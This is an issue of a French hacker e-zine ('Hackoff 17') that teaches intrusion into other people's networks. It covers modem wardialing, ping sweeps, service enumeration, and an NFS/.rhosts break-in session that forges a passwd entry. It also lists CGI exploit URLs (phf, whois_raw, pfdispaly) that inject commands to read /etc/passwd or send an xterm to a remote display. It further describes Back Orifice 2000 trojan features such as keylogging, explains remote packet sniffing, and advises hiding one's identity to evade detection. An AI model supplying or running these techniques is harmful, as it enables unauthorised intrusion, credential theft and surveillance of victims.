Les numéros correspondant à des fax (notamment celui que l'on trouve avec le numéro du standard) peuvent donner des plantage du modem. C'est relativement aléatoire puisque l'on ne peut préjuger de quand ces numéros seront composés, et quand on aura des problèmes de détection.
Ce programme sait gérer le parcours automatique de plages de numéros, en identifiant des porteuses ou des tonalités. La deuxième fonctionnalité est probablement inintéressante en France, au moins dans notre contexte. Une présentation rapide du paramétrage de ce produit est fournie en annexe 1.
Caractéristiques Toneloc produit trois fichiers différents lorsqu'il s'exécute (dans le meilleur des cas, c'est à dire lorsqu'il a trouvé des porteuses, sinon deux fichiers seulement). Ce sont :
Limitations de toneloc :
Si l'on connaît un préfixe, il faut être particulièrement méfiant. La cible ne détient pas forcément tous les numéros correspondant à toutes les valeurs de suffixe. Il faut dans ce cas valider manuellement en procédant par encadrement de la plage. Si l'on dispose d'un ensemble de numéros (tirés d'un annuaire), il faut vérifier qu'ils partagent un même préfixe, puis rechercher les plus grand et plus petit numéros alloués. On en déduit alors une plage en arrondissant au dessus et au dessous. Cette plage est alors très sûre (sauf si elle se fonde sur des informations périmées), mais peut très bien ne constituer qu'une fraction de la véritable plage gérée par l'autocommutateur. dans tous les cas, il est intéressant de valider la faisabilité de la recherche sur cette plage Astuces sans garantie
Les informations sont obtenues suite aux passages de l'outil TONELOC pour détecter des porteuses. On détecte donc un certain nombre de modem qui répondent. Le résultat typique d'un toneloc est : 04:26:10 " 04:26:10 ToneLoc v1.10 (Sep 29 1994) 04:26:10 ToneLoc started on 13-Mar-97 04:26:10 Using COM1 (16450 UART) 04:26:10 Data file: 011234567X.DAT 04:26:10 Config file: TL.CFG 04:26:10 Log file: TONE.LOG 04:26:10 Mask used: 011234567X 04:26:10 Range used: 0-9 04:26:10 Scanning for: Carriers 04:26:10 Initializing Modem ... Done 04:28:21 0112345675 - Timeout (3) 04:29:01 0112345670 - Timeout (0) 04:27:32 0112345671 - * CARRIER * 04:28:21 0112345674 - Timeout (3) 04:29:01 0112345676 - Timeout (0) 04:28:21 0112345672 - Timeout (3) 04:29:01 0112345679 - Timeout (0) 04:29:01 0112345673 - Timeout (0) 04:28:21 0112345678 - Timeout (3) 04:29:01 0112345677 - Timeout (0) On y détecte donc un modem sur le n° 0112345671 A l'issu de ce travail (souvent répétitif environ 10000 appels pour 6 modems par exemple), on dispose donc de porteuses de modem(s). Ces porteuses vont pouvoir ensuite être accédées pour vérifier si le modem accepte les connexions entrantes.
Phase 2 : Exploitation des informations recueillies
Attention, à partir de cette phase, toutes les opérations effectuées peuvent être interprétées à la limite comme une tentative d'intrusion. Elles ne sont par contre pas vraiment punissables par la loi. Axe Internet On dispose à l'issue de la phase 1 d'adresse IP de réseau ou de machines.
l'outil ping est disponible sous UNIX et dans les autres OS. Je l'utilise plutôt sous UNIX car il est plus facile de le paramètrer. Nous avons bricolé des outils qui permettent de grouper les ping. Ils sont à la base des shell-scripts. Nous avons deux versions :
for i in `$1`
do
ping -c 2 $i >> resultat &
sleep 1
done
Son principal inconvénient est de ne pas trier les résultats et de ne pas générer le fichier de base des adresses.
echo " " > $1
for i in `1-255`
do
echo $2.$i >> $1
ping -c 2 $2.$i >> $1
done
Son principal inconvénient est de devoir être lancée en arriere plan pour gagner du temps et de générer un fichier résultat par adresse de classe C. Les différentes variantes sont liées soit à un niveau de détail dans le ping (-c 10, -d, etc.), soit dans l'affichage des informations à l'écran avant de les stocker dans le fichier résultat (| tee -a ...) ATTENTION, les schells scripts lancés en arrière plan ne doivent pas afficher de message donc eviter celui contenant les "tee". L'exploitation des résultats peut-être réalisé soit à la main en visualisant le fichier (fastidieux) soit par des greps +/- automatisés. Je me suis arrêté à une suite de grep du style :
A la fin de cette phase, on est normalement à même de savoir si certaines machines de la victime sont accessibles sur Internet. Attention, si une machine répond sur un sous-réseau, il est intéressant de repasser le ping sur toute la plage plusieurs fois. En effet, certaines machines peuvent ne pas avoir été branchées lors du premier passage ou n'avoir pas répondu à cause du time-out faible. Il faut également tenir compte du décalage horaire si nécessaire. 2.Regarder quels sont les services réseaux accessibles sur ces machines.
Les outils d'intrusiontcp_scan et udp_scan sur les machines actives pour identifier les services disponibles Utilisation des couches actives publiques pour recueillir des informations (rpc, nfs, finger, ftp anonyme, smtp via telnet sur le port 25, etc.) Cette opération peut s'effectuer à la main ou à l'aide d'outils complets comme SATAN, Nessus ou NMAP.
On obtient alors la liste des services actifs tant en tcp
qu'en udp sous une forme du type :
80:http
23:telnet
...
Certains services sont particuliérement utiles.
Il s'agit dans un premier temps de :
69 : tftpd qui peut parfois permettre de récupérer
le fichier /etc/passwd (récupérable uniquement
avec udp_scan
79 : fingerd qui permet d'obtenir des informations
sur le site et les utilisateurs connectés
80 : httpd qui signifie que le site dispose d'un site web.
L'accès à ce site web est un des moyens le plus sûr
de s'assurer que l'on attaque bien le bon site.
111 : Le port mapper, la machine accepte des appels RPC
(NFS, YP, etc. sont interessants pour la suite)
Dans un second temps, des services comme smtp, telnet, ftp et rlogin permettent de se connecter à la machine.
Welcome to Linux version 2.2.7 at rasta.legang.fr ! 3:05pm up 5 min, 3 users, load average: 0.16, 0.13, 0.08 Login Name TTY Idle When Where toto - albert console 1 Thu 12:37 :0 titi - Titi rené pts/2 13 Mon 09:04 192.93.xxx.xxx demo - Demonstration pts/4 18 Mon 09:09 192.93.yyy.yyy ...On y trouve les infos suivantes :
Welcome to Linux version 2.0.0 at rasta.legang.fr ! 3:10pm up 10 min, 4 users, load average: 0.04, 0.09, 0.07 Login: test Name: test passwd Directory: /home/test Shell: /bin/bash On since Wed Jul 9 15:08 (MET DST) on tty3 1 minute 9 seconds idle No mail. Project: Je travaille sur le projet X No Plan. Toutes les informations sur le champ gecos, les projets sur lesquels travaille l'utilisateur peuvent être utilisées dans une phase ultérieure d'agression. Parmi les utilisateurs, certains doivent être remarqués. par exemple, les utilisateurs "guest" ou "demo" qui n'ont fréquemment pas de mot de passe ou les comptes de produits (ingres, informix, etc.) qui ont fréquemment des mauvais mots de passe.
program vers proto port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100005 1 udp 704 mountd
100005 1 tcp 706 mountd
100003 2 udp 2049 nfs
100003 2 tcp 2049 nfs
L'un des points importants concerne la détection de NFS (nfsd, mountd dans les services).
Un autre type de service doit être remarqué, l'usage de NIS et des yellows pages (yp). Je vous conseil d'utiliser un autr OS que linux, il existe beaucoup de problème de compils et d'utilsation de yp sur Linux, on peut via ces services optenir la map du yppasswd et des autres fichiers gérés par NIS (outil ypsnarf, ypghost, etc.).
showmount -e @IP_machine Un résultat du type : Export list for 127.0.0.1: /home (everyone)signifie que la partition /home est exportable pour toutes les machines sur internet. Plus fréquemment, on trouve un répertoire exportable vers des machines désignées. Si elles appartiennent au client, on sait que si on les cracke, on aura la possibilité de monter les répertoires correspondant sur une autre machine et ainsi de suite.
ftp @IP_machine user anonymous ... entrer votre E-Mail comme mot de passe ... password guestRésultat : On dispose alors d'une liste d'adresse IP de machines qui répondent et des informations sur les couches réseaux actives sur ces machines. En ayant lancé soit le ftp, soit finger, soit le SMTP, on doit avoir également une idée des versions de ces différentes couches ainsi que le type d'OS des machines. On peut également avoir stocké des noms d'utilisateurs (finger, /etc/passwd du ftp anonyme, etc.). La plupart des OS et des couches ont des bugs connus et référencés dans les avis des CERTS US ou australiens
Remarque
Axe X25Les moyens d'accès à un réseau X25 sont variables :
Nous sommes donc a priori capable d'émuler les moyens d'accès 1, 3, 6. Si nous trouvons un PAD privé de la cible (c'est arrivé), nous sommes alors capable d'émuler 2. Il nous manque donc la LS (c'est évident), le X25 Transpac pur et Numéris. Au moyen des accès dont nous disposons, il est possible d'atteindre (suivant leur configuration) des commutateurs, des routeurs ou des machines terminales. Il est possible également en spécifiant le contenu du champ user data du paquet d'appel de diagnostiquer l'utilisation d'encapsulations SNA/X25, DSA/X25 ou IP/X25. Utilisation d'un accès PAD
Utilisation de la carte X32
Existence du correspondant Si ce n'est pas le cas, message CLR NP YYY appartenance au GFA, effectué par le dernier commutateur TRANSPAC message CLR NA YYY inhibition du PCV message CLR RNA YYYcontrôle de l'adresse appelante par le commutateur de la cible contrôle des données du paquet d'appel par le commutateur ou l'équipement terminal contrôle en fonction de la sous adresse (qui suit les 9 chiffres) par le commutateur dans les trois cas, rejet par le distant, souvent LIB DTE Accès à des configurateurs Les routeurs CISCO sont accessibles en PAD comme par telnet. Une access list peut être configurée pour contrôler les accès aux consoles virtuelles (les mêmes vtyX).
Les commutateurs X25 ont en général un configurateur accessible en PAD
Quelques infos sur les commutateurs TRT, en vrac :
Accès à des routeursEn connaissant les adresses de deux routeurs communiquant en IP sur X25, et sous réserve qu'il n'y ait pas de GFA ni de contrôle de l'adresse de l'appelant, il doit être possible de se faire passer pour l'un des deux routeurs vis à vis de l'autre.Ceci donne donc un accès au réseau IP, et permet de plus d'usurper les adresses IP Il est plus que vraisemblable que ceci ne soit réalisable que lorsque le routeur que l'on usurpe n'est pas en communication avec le routeur cible. Quelques réserves (à valider) sont cependant à émettre. Il semble en effet que dans le cas des routeurs CISCO, les échanges se fassent sur des circuits virtuels ditincts, le routeur appelé ouvrant alors le second circuit virtuel vers l'adresse X25 du routeur que nous usurpons. Il ne peut donc alors y avoir de retour. Ceci pourrait peut être contourné en modifiant la configuration de la cible via SNMP. La fraude dans le cas de SNA sur X25 semble encore plus complexe, car il est impératif de disposer d'un accès licitement défini dans la VTAM list, faute de quoi la communication ne saura s'établir. Analyse des informations présentes dans la configuration d'un routeurLa connaissance de sa propre adresse X25 est probablement impossible, puisqu'il n'y a pas de raison qu'elle soit mentionnée dans sa configuration. Par contre, si l'on a accès aux configurations de deux machines communiquant l'une avec l'autre à travers X25 en faisant de l'encapsulation, il doit être possible de déperminer les adresses X25 de chacune des deux :
Phase 3 : Axe InternetOn dispose à l'issue de la phase 2 d'adresses IP de réseau ou de machines accessibles.
Il n'existe pas de méthode toute faite pour le hack, chaque hacker detient son experience, c'est souvent à partir ce cette limite qu'il découvre son talent ou pas. A partir de cette étape tous ce vous pouvez faire est considéré comme illicite par la loi.
A partir de cette étape, nous detenons un premièr audit du réseau: machines par IP, type d'OS, les ports ouverts, et les eventuels DOS connu par l'outils d'analyses. Le passage d'un tel outil laisse des traces et il existe des logiciel pour répérer des tentatives d'intrusions, il est préférable de se deconnecter et de se faire attribuer une IP différentes, chez un provider gratuit avec une identité inconnue (www.vunet.com) La suite :
evil# mount victim.com:/export/foo /foo
evil# cd /foo
evil# ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest
evil# echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
evil# ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 guest daemon 1024 Aug 3 15:49 guest
evil # su guest
evil % echo 194.86.157.110 >> guest/.rhosts
evil % rlogin victim.com
Welcome to victim.com!
victim %
Si l'on est dans le cas 4,
Annexes
Annexe 1 : Toneloc : l'outil de recherche de modemToneloc toneloc datafile /M:[mask] /R:[range] /D:[range] /X:[mask] /#:[nombre] /C[config] /S:[StartTime] /E:[EndTime] /H:[heure] /T:[-] /K:[-] RQ : le séparateur ":" n'est pas obligatoire Datafile Pas clair : plutot le fichier contenant la liste des plages de numéros à essayer (ou fichier dans lequel est enregistré le résultat ?)
Utilitaires autour de toneloc :
Annexe 2 : Liste des outils de hacking sous UNIX
Recoupement d'informations : cakeii
| |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸
_ ________________________________________ _
-*4*- `^°*;:,.> Bugs CGI! <.,:;*°^`
___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯¯ By Yopyop ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\_____________________
CGI Security
Le CGI est encore tres populaire sur les serveurs www malgre l'apparition de suites logicielles plus completes sur les serveurs. Pendant que l'ASP et le PHP se font concurrence, le CGI continue a faire son bonhomme de chemin. A l'heure qu'il est, grand nombre de scripts CGI contiennent toujours des vulnerabilites. Certains de ceux qui sont presentes ici ont ete corriges et ne sont plus vulnerables,
toutefois il y a encore de nombreux sites qui les utilisent encore. La liste ici presente est loin d'etre exhaustive et des mises a jour sont a prevoir. Table des matieres
Test cgi's/cgi-bin/test-cgi?\whatever/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd /cgi-bin/test-cgi?/* /cgi-bin/test-cgi?* HTTP/1.0 /cgi-bin/test-cgi?x * /cgi-bin/nph-test-cgi?* HTTP/1.0 /cgi-bin/nph-test-cgi?x * /cgi-bin/test-cgi?x HTTP/1.0 * HotMail
Les scripts CGI qui sont utilises par (Hot)mail ont un trou de securite qui permet
a des personnes non autorisees de rentrer dans le compte email d'utilisateurs et de lire
leurs mails. Le probleme affecte des versions de Hotmail qui ont ete mise en place en Decembre 1998.
La ligne de commande suivante revele l'URL qui peut etre utilisee pour acceder au compte email de l'utilisateur "billg" (billg@hotmail.com)
Le resultat de cette commande est de donner (si et seulement si il est actuellement loggue)
l'URL qui permet d'acceder au compte de billg.
Le resultat devrait ressembler a quelque chose comme cela: TextCounter versions 1.0-1.2 (Perl) et 1.0-1.3 (C++) par Matt Wright (Juin 1998)
Les recentes versions du programme TextCounter (utilise pour donner le nombre de
visiteurs d'une page) ne supprime pas les metacaracteres introduits par l'utilisateur.
Ce qui a pour resultat de permettre a des utilisateurs distants d'executer des commandes
shell sur le serveur. Ceci affecte a la fois les versions Perl et C++.
Voici les deux lignes responsables du probleme: Divers scripts guestbook (Juin 1998)Le Bug apparait pour les utilisateurs qui:
Comme vous pouvez le voir il y a beaucoup de "si" et donc tres peu d'utilisateur sont touches. Excite Web Search Engine (EWS) version (November 1998)
Le moteur de recherche Excite enregistre des informations critiques (incluant les mots de passe encryptes d'administrateurs) dans des fichiers qui sont accessibles au niveau utilisateur. Ceci permet a des utilisateur sans privileges d'avoir acces a la partie administration de EWS a partir d'UNIX et de NT. Info2www, versions 1.0-1.1
info2www, qui convertit les fichiers GNU "info" en pages web, ne verifie pas les nom de
fichiers fournis par l'utilisateur avant de les ouvrir. Count.cgi, versions 1.0-2.3
Count.cgi est un compteur de visites, et il contient un gug (stack overflow) qui permet a un utilisateur distant d'executer des commandes UNIX sur le serveur. Webdist.cgi IRIX 6.2, 6.3
Ce script fait partie d'un systeme qui permet aux utilisateurs d'installer et de distribuer des logiciels a travers le reseau. A cause d'une mauvaise verification des parametres CGI, des utilisateurs distants peuvent executer des commandes sur le serveur avec les permissions du daemon. Php.cgi, multiple versions
Le script CGI php.cgi, ne devrait jamais etre installe dans le repertoire cgi-bin. Ceci permet a quiconque d'executer des commande shell sur la machine serveur.
PHP fournit aussi les fichier d'exemples mlog et mylog qui contient un trou de securite permettant de visualiser n'importe quel fichier sur le serveur: Files.pl, Novell WebServer Examples Toolkit v.2
Du fait d'une mauvaise verification des donnees entrantes de l'utilisateur, le fichier files.pl, fournit avec l'installation de Novell WebServer permet aux utilisateurs de voir n'importe quel fichier ou repertoire du systeme, ce qui a bien sur pour resultat de compromettre la confidentialite des documents, et potentiellement de donner au crackers les informations necessaires pour pouvoir penetrer le systeme (niark niark niark...) Nph-test-cgi, toutes versions
Ce script inclut dans de nombreuses versions de NCSA httpd et des daemons apache peut etre exploite par un utilisateur distant pour obtenir un listing des fichiers et repertoires presents sur le serveur. AnyForm, version 1.0Un utilisateur distant peut executer des commandes sur le serveur.http://www.uky.edu/~johnr/AnyForm2 FormMail, version 1.0Un utilisateur distant peut executer des commandes sur le serveur.http://alpha.pr1.k12.co.us/~mattw/scripts.html PhfUn utilisateur distant peut executer des commandes sur le serveur.Exploit: /cgi-bin/phf?Q=x%0apwd /cgi-bin/phf?Q=x%ffpwd /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd /cgi-bin/phf?%0a blablabla &Qalias=&Qname=&Qemail=&Qnickname=&Qoffice_phone= ... usw /cgi-bin/phf?Qname=%0acat%20/etc/passwd Plus d'infos: http://members.tripod.com/~yopyop/exploits/phf.htm http://hoohoo.ncsa.uiuc.edu/ Omnihttpdhttp://omni.server/cgi-bin/visadmin.exe?user=guestPfdispaly.cgiUn utilisateur distant peut executer des commandes sur le serveur avec les permissions du serveur web.Exploit: /cgi-bin/pfdispaly.cgi?'%0A/bin/uname%20-a|' /cgi-bin/pfdispaly.cgi?/../../../../etc/motd /cgi-bin/pfdispaly.cgi?'%0A/usr/bin/X11/xclock%20-display%20evil:0.0|' Faxsurvey
Un utilisateur distant peut executer des commandes sur le serveur avec les permissions du serveur web.
Toutes les versions S.u.S.E. 5.1 et 5.2 Linux Dist avec le package HylaFAX installe sont vulnerables. Whois_raw.cgi cdomain v1.0.Exploit:/cgi-bin/whois_raw.cgi?fqdn=%0A/usr/X11R6/bin/xterm%20-display%20graziella.lame.org:0 /cgi-bin/whois_raw.cgi?fqdn=%0acat%20/etc/passwd Test.bat et perl.exe sur Netscape Serveur
Il est aussi recommande de ne pas mettre PERL.EXE dans le repertoire CGI-BIN car ceci
permet d'executer des commandes PERL directement sur le serveur. Htmlscript (www.htmlscript.com)Possibilite d'acces a n'importe quel fichier sur le serveur.Exploit: /cgi-bin/htmlscript?../../../../etc/passwd lotus domino serverPossibilite d'ecrire et de changer la configuration du serveur!!!!!!Exploit: http ... /domcfg.nsf/?open htto ... /domcfg.nsf/URLRedirect/?OpenForm http:... /database.nsf/viewname?SearchView&Query="*" Pour plus d'infos: http://www.insecure.org/sploits/lotus.domino.database.html wguest.exe
David Litchfield alias Mnemonic a decouvert un bug dans wguest.exe qui permet a un utilisateur distant de voir n'importe quel fichier texte du systeme. Wguest.exe est un script CGI concu par Webcom Datakommunikation, qui permet aux utilisateurs de signer un guestbook. Le nombre de serveurs affectes est assez important.
Template.htm est la page qui sera affichee grace a wguest.exe apres que l'utilisateur ait entre ses informations.
¥õÞÝóþ |
¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸
_ _________________________________________ _
-*5*- `^°*;:,.> Back Orifice 2000 <.,:;*°^`
___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯By Stryknine¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\_____________________
Bo2k est la nouvelle version du trojan Back Orifice. Le serveur,
installé sur une machine tournant sous MSWin 95/98/NT, permet à un
client de se connecter à la bécane distante avec des accès et droits
complets. Le port de connection est configurable mais un firewall peut
bloquer la connexion.
Le protocole réseau utilisé peut-être TCP ou UDP et le port compris
entre 1 et 65535. Les ports par défauts sont 54320 pour TCP et 54321
pour UDP. Les transfert d'information peuvent être encrypté.
Au lancement, le serveur se place dans \WINDOWS\SYSTEM (win9x) ou
\WINDOWS\SYSTEM32 (winNT) et supprime l'exemplaire original. Le nom de
l'executable est paramétrable (le nom par défaut est UMGR32.EXE)
Généralement le serveur se lance au démarrage de la machine grace à une
clé dans la registry.
Le serveur peut ne pas apparaitre dans le gestionnaire des taches de
win ou même apparaitre sous un autre nom qui dépend de sa config.
Liste des fonctionnalité (non-exhaustives : de nouvelles sont
disponibles via des plug-ins).
Fonctionnalité :
Simple:
- Ping, pour vérifier la présence du serveur.
- Query, liste les commandes disponibles sur le serveur
System:
- Reboot Machine
- Lock-up Machine, bloque tous les process de la machine distante,
ainsi que souris, clavier et serveur BO.
- List Passwords
- Get system info
Key logging:
permet d'enregistrer dans un fichier l'ensemble des saisie réalisées
sur la machine distante.
- Log Keystrockes
- End Keystroke log
- View Keystroke log
- Delete Keystroke log
GUI:
- System message box Affiche une boite de dialogue sur la machine
distante
TCP/IP:
- Map port -> Other IP, redirection du trafic vers une autre IP
- Map port -> Console App, ???
- Map prot -> HTTP Fileserver, établie un serveur HTTP sur la machine
distante permettant via un browser de naviguer dans le system distant
ou sin réseau local.
- List Mapped ports, liste les port mappés sur la machine distante et
le service associé
- Remove Mapped ports, supprime un port mappé
- TCP File send, envoi un fichier ver une autre machine exécutant la
command TCP File Receive
- Map port -> TCP File Receive, permet de recevoir un fichier via TCP.
MS Networking:
- Add share, partage un lecteur/répertoire de la machine distante
- Remove share, supprime un partage
- List share, liste l'ensemble des partages
- List shares on LAN, idem pour les lecteurs réseau
- Map shared device, mappe une ressource réseau en lecteur local
- Unmap shared device, l'inverse de ci-dessus
- List connections; liste les partages
Process control:
- List process, liste les process de la mahine distante accompagnée de
leur ID
- Kill process, met fin à un process identifié par son ID
- Start process, démarre un process en lançant un EXE sur le serveur
Registry:
Permet la manipulation de la registry de Windows (clés et valeur,
création, modification, suppression, liste)
Create Key
Set Value
Get Value
Delete Key
Delete value
rename Key
Rename value
Enumerate kets
Enumerates values
Multimedia:
Capture Video Still, capture une bitmap depuis un périphérique de
capture (comme une quickcam)
Capture AVI, idem mais crée un AVI
(ndt:une nouvelle section special bo2k est visible sur le site du gang
a la section virus)
Stryknine
¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸
_ ________________________________________ _
-*6*- `^°*;:,.> Jargon file - the end? - <.,:;*°^`
___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯¯ By tobozo ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\_____________________
C'est certainement le dernier numero hackoff qui contient une rubrique de ce nom.
Au cours de nos diverses recherches sur le web pour trouver le dernier patch
pppd, on s'est trouves face-a-face avec le site suivant :
http://www.linux-france.org/prj/jargonf/.
Sans commentaires...
Tobozo
¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸
Avant de clore ce hackoff 17e du nom, voici un petit extrait d'une conversation ma foi fort interessante entre deux membres du gang : Salut, Je recherche a comprendre comment utiliser un sniffer, c'est bien beau la theorie mais la pratique est un peu plus dure... En fait j'utilise (ou plutot essaye d'utiliser) des sniffers du style sniffit, ADMsniff, linsniff, et en general j'arrive a voir les paquets qui passent par ma carte reseau (eth0) mais je ne sais pas dutout comment faire pour sniffer celles de qqn d'autre (exemple quelqu'un connecté sur mon reseau local). Dois-je modifier les valeur de ma table ARP. Est-il possible que je sniff quand je suis connecté par modem. Dois-je etre en mode melé ou est-ce uniquement ma cible. A+ Kailas Salut Le principe du sniff est d'utiliser un soft (tcpdump, sniffit...) qui va passer la carte réseau en promiscous mode (ou mode mélé) et les diriger vers un fichier txt par exemple, cela permet de recevoir l'ensemble des paquets qui passe sur le réseau auquel on est connecté. Si tu veux faire un essai en local, tu branche ton PC sur un hub et d'autres pc dessus (1 ou 2) qui vont communiquer entre eux, et là tu vas voir apparaitre sur ton PC, l'ensemble des paquets du réseau. Si tu utilise un switch sur ton réseau au lieu d'un hub, cela ne fonctionne pas ou alors il faut hacker le switch (voir hackoff no16). La table ARP n'est juste qu'une correspondance entre ton adresse IP et ton adresse MAC, elle ne rentre pas en fonction dans cela. Evidemment il est possible de sniffer depuis un modem, le modem étant considéré comme une carte réseau (voila pourquoi tu installe la carte d'accès distant sur win95) Pour sniffer depuis ton modem, tu redirige ton sniffer vers ppp0 au lieu de eth0. Il faut ensuite t'introduire sur le réseau vers lequel tu veux sniffer. Quand tu etablis une liaison chez ton provider, tu crées une liaison point à point qui est gérée par le routeur, qui va ensuite vérifier ton login/pass sur un serveur d'authentification radius ou tacacs.. Donc tu ne peux pas sniffer depuis une simple connexion chez ton provider, parce que chaque paquet est routé vers un modem précis (c'est le travail du routeur de lier une adresse IP à une liaison asynchrone) Il faudrait pour cela, hacker le routeur pour lui dire de t'envoyer l'ensemble des paquets, il y une commande debug all par exemple sur cisco, qui sniff l'ensemble des connexions et ensuite de rediriger cette commande vers ton IP. Le sniff distant se fait en general sur un modem d'une entreprise. Tu connais un numéro de telephone d'un pc comportant un modem (sinon il existe toneloc), tu accèdes à ce PC, place sa carte réseau en promiscous mode et redirige le resultat vers toi. Donc c'est la cible que l'on passe en mode mélé, pour sniffer l'ensemble des paquets passant par sa carte. Sniffdoz¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸
Voili c'est fini pour cette edition du hackoff17, rien de prevu pour le moment en ce qui concerne le No18 mais on vous promet du chaud pour la rentree... Que la bande passante soit avec vous et sauvez les arbres, mangez du castor. Tob ________________________________________________________________________________ ¬®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬¡¢£¤¥ ¦§¨©ª«¬ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ -{\________________________/}- ~~ ~~ ~~ ~~°ºØø¦ ¿ H A C K 0 F F ? ¦øØº°~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~-{/¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\}-~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~ http://come.to/legang ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~ ~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~ http://come.to/yopyop ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~ ~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~ http://members.tripod.com/hackoolic ~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~ ~ ~~ ~~ ~~ ~~ ...Des commentaires, des questions, des insultes, ecrivez aux membres du gang... _________________________________________________________________________________ ¬®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬¡¢£¤¥ ¦§¨©ª«¬ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ ,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, _____________________________________ ((((((( H@CK-OFF !! )))))))) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~ ~ ¤º°`°º ¤º°`°º ¤º°`°º ~ ~ ~ ~ | SE | - | RI | - | AL | ~ ~ ~ ~ | SA | - | VA | - | TE | ~ ~ ~ ~ | SY | - | ST | - | EM | ~ ~ ~ ~ ø,¸¸,ø ø,¸¸,ø ø,¸¸,ø ~ ~ Cakeii - Tobozo - Yopyop - Silk - Nk Sniffdoz - Aolshame - Misto - Blured ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ { \|/ >http://come.to/legang 8 -- * -- >silk@silk.cut { /|\ cakeii@usa.net nk01@n0past.com tobozo@biosys.net misto@bigfoot.com sniffdoz@yahoo.com yopyop@webmails.com blured75@hotmail.com aolshame@softhome.net emminence@earthling.net ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, / O o O o O o \ \ O O O / º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [EOF]